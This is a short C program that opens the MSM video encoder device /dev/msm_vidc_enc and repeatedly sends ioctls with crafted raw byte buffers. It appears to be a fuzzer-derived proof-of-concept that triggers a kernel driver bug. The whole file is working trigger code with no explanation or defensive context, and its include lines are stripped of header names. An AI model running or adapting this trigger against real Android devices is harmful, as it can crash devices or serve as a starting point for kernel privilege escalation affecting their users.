#include #include #include #include #include #include typedef int bool; #define true 1 #define false 0 #include "ioctl_types.h" int main(int argc, char *argv[]) { int fd = open("/dev/msm_vidc_enc", O_RDWR); if(fd < 0) printf("Error\n"); struct venc_ioctl_msg *arg_0; char dump0_0[] = "\x00\xb0\xa6\xb3\xff\xff\xa6\xfb"; arg_0 = (struct venc_ioctl_msg *) dump0_0; char dump0_1[] = "\x01\x00\x00\x00\x00\xb0\x06\xb6\x03\x00\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; arg_0->in = dump0_1; ioctl(fd, 0x8000d, (void *)0); int k = 0; for(k = 0; k < 3; k++) ioctl(fd, 0x80085011, (void *)arg_0); } .